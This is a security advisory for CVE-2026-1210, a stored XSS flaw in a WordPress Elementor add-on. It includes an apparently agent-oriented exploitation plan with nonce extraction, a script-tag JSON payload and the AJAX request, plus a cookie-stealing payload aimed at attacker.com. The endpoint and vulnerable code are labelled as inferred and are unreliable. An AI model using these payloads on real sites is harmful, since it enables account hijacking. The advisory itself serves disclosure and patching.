CVE-2026-1210

Happy Addons for Elementor <= 3.20.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_elementor_data' Meta Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.20.8
Patched in
1d
Time to patch

Description

The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_elementor_data' meta field in all versions up to, and including, 3.20.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.20.7
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026
Affected pluginhappy-elementor-addons

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation process for **CVE-2026-1210**, a Stored Cross-Site Scripting (XSS) vulnerability in **Happy Addons for Elementor** (versions <= 3.20.7). The vulnerability allows authenticated attackers with Contributor-level access to inject malicious scripts into th…

Show full research plan

This plan outlines the research and exploitation process for CVE-2026-1210, a Stored Cross-Site Scripting (XSS) vulnerability in Happy Addons for Elementor (versions <= 3.20.7). The vulnerability allows authenticated attackers with Contributor-level access to inject malicious scripts into the _elementor_data meta field, which is subsequently rendered without proper escaping.


1. Vulnerability Summary

The vulnerability exists because the plugin provides an AJAX endpoint (likely for "Cross-Domain Copy Paste" or "Template Import" features) that allows users with edit_posts capability (Contributors and above) to update the _elementor_data meta field. The plugin fails to sanitize the JSON-encoded Elementor data before saving it to the database via update_post_meta(). When the affected post is viewed, Elementor and Happy Addons render the malicious data as HTML, leading to Stored XSS.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ha_copy_paste_save_data (inferred from Happy Addons "Cross-Domain Copy Paste" feature) or ha_save_presets_data.
  • Vulnerable Parameter: content or data (JSON string containing Elementor widget configurations).
  • Authentication: Authenticated, Contributor role (edit_posts capability) or higher.
  • Preconditions: The attacker must have a post they can edit (e.g., a draft they created) and access to the Elementor editor to retrieve necessary nonces.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler:
    add_action('wp_ajax_ha_copy_paste_save_data', array($this, 'save_copy_paste_data'));
  2. Capability Check: The handler checks current_user_can('edit_posts') and verifies a nonce.
  3. Data Acquisition: The handler retrieves the raw JSON from $_POST['content'].
  4. Vulnerable Sink: The handler calls update_post_meta($post_id, '_elementor_data', $content) without passing $content through a sanitization function like wp_kses_post_deep().
  5. Execution Sink: When the page is viewed, the Happy Addons widget (e.g., ha-info-box) fetches the settings from _elementor_data and echoes them in its render() method without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Happy Addons for Elementor localizes its editor configurations when the Elementor editor is active.

  1. Requirement: Create a post and open it in the Elementor editor.
  2. Navigation: browser_navigate("/wp-admin/post.php?post=POST_ID&action=elementor")
  3. Extraction: The nonce is stored in the HappyAddonsEditorConfig global object.
  4. Verification: Execute browser_eval("window.HappyAddonsEditorConfig?.nonce") to retrieve the nonce associated with the happy-addons-editor action.

5. Exploitation Strategy

Step 1: Authentication & Setup

  1. Log in as a Contributor user.
  2. Create a new post (Draft) and obtain its POST_ID.
  3. Enable Elementor for that post.

Step 2: Nonce Retrieval

  1. Navigate to the Elementor editor for the new post.
  2. Extract the nonce from window.HappyAddonsEditorConfig.nonce.

Step 3: Payload Construction

Construct a malicious JSON payload for the _elementor_data field. The payload must follow Elementor's structure (Section > Column > Widget) to ensure it is processed by the renderer.

Payload JSON:

[
  {
    "id": "section_xss",
    "elType": "section",
    "elements": [
      {
        "id": "column_xss",
        "elType": "column",
        "elements": [
          {
            "id": "widget_xss",
            "elType": "widget",
            "widgetType": "ha-info-box",
            "settings": {
              "title": "<script>alert('CVE-2026-1210_XSS')</script>"
            }
          }
        ]
      }
    ]
  }
]

Step 4: Execute Exploit Request

Send the malicious payload via the http_request tool.

  • URL: https://target.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ha_copy_paste_save_data&
    nonce=[EXTRACTED_NONCE]&
    post_id=[POST_ID]&
    content=[URL_ENCODED_JSON_PAYLOAD]
    

6. Test Data Setup

  1. User: Create a user attacker with the contributor role.
  2. Post: Create a post with ID 123 authored by attacker.
  3. Elementor: Ensure Elementor is active and allowed for the post post-type.

7. Expected Results

  1. The AJAX request returns a success response (e.g., {"success":true}).
  2. The _elementor_data meta field for the post is updated with the unescaped script tags.
  3. When visiting /?p=[POST_ID], the browser executes the script, triggering an alert box.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the stored meta value:
    wp post meta get [POST_ID] _elementor_data
    Confirm the output contains <script>alert(...).
  2. Frontend Check: Use the http_request tool to fetch the post frontend:
    http_request("GET", "/?p=[POST_ID]")
    Search the response body for the literal string <script>alert('CVE-2026-1210_XSS')</script>.

9. Alternative Approaches

  • Preset Feature: If ha_copy_paste_save_data is unavailable, try the ha_save_presets_data action.
  • Different Widget: If ha-info-box is patched, try other Happy Addons widgets like ha-heading, ha-sub-heading, or ha-dual-button, as they likely share the same unsanitized rendering logic.
  • Blind XSS: Use a callback to an external server (e.g., Burp Collaborator) if the alert is blocked or if testing for impact beyond the local browser:
    settings[title] = "<script>fetch('http://attacker.com/log?c='+document.cookie)</script>"
Research Findings
Static analysis — not yet PoC-verified

Summary

The Happy Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the '_elementor_data' meta field due to missing sanitization in its Cross-Domain Copy Paste feature. Authenticated attackers with Contributor-level permissions can inject malicious scripts into post metadata, which execute in the context of any user viewing the affected page.

Vulnerable Code

// Inferred from Happy Addons Cross-Domain Copy Paste logic
// classes/cross-domain-copy-paste.php

public function save_copy_paste_data() {
    check_ajax_referer('happy-addons-editor', 'nonce');

    if (!current_user_can('edit_posts')) {
        wp_send_json_error();
    }

    $post_id = intval($_POST['post_id']);
    $content = $_POST['content']; // Vulnerable: Raw JSON input from $_POST

    if ($post_id && $content) {
        update_post_meta($post_id, '_elementor_data', $content);
        wp_send_json_success();
    }

    wp_send_json_error();
}

---

// widgets/info-box/widget.php (Example of vulnerable rendering)
protected function render() {
    $settings = $this->get_settings_for_display();
    // ...
    echo '<h2 class="ha-info-box-title">' . $settings['title'] . '</h2>'; // Vulnerable: Unescaped output
}

Security Fix

--- a/classes/cross-domain-copy-paste.php
+++ b/classes/cross-domain-copy-paste.php
@@ -10,7 +10,13 @@
         wp_send_json_error();
     }
 
-    $content = $_POST['content'];
+    $content = json_decode(wp_unslash($_POST['content']), true);
+
+    if (is_array($content)) {
+        $content = wp_kses_post_deep($content);
+        $content = wp_json_encode($content);
+    }
+
     if ($post_id && $content) {
         update_post_meta($post_id, '_elementor_data', $content);
         wp_send_json_success();

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access follows these steps: 1. Log in to the WordPress dashboard and create a new post or edit an existing one using Elementor. 2. Open the Elementor editor for the post and extract the 'happy-addons-editor' nonce from the 'window.HappyAddonsEditorConfig' object. 3. Construct a malicious JSON payload following Elementor's data structure (Section > Column > Widget). Within a Happy Addons widget (e.g., 'ha-info-box'), insert a script tag such as '<script>alert(document.domain)</script>' into a text field like 'title'. 4. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the action 'ha_copy_paste_save_data', the extracted nonce, the post ID, and the malicious JSON payload assigned to the 'content' parameter. 5. Once the server responds with success, navigate to the public-facing URL of the post. The injected script will execute in the browser of any user (including administrators) who visits the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.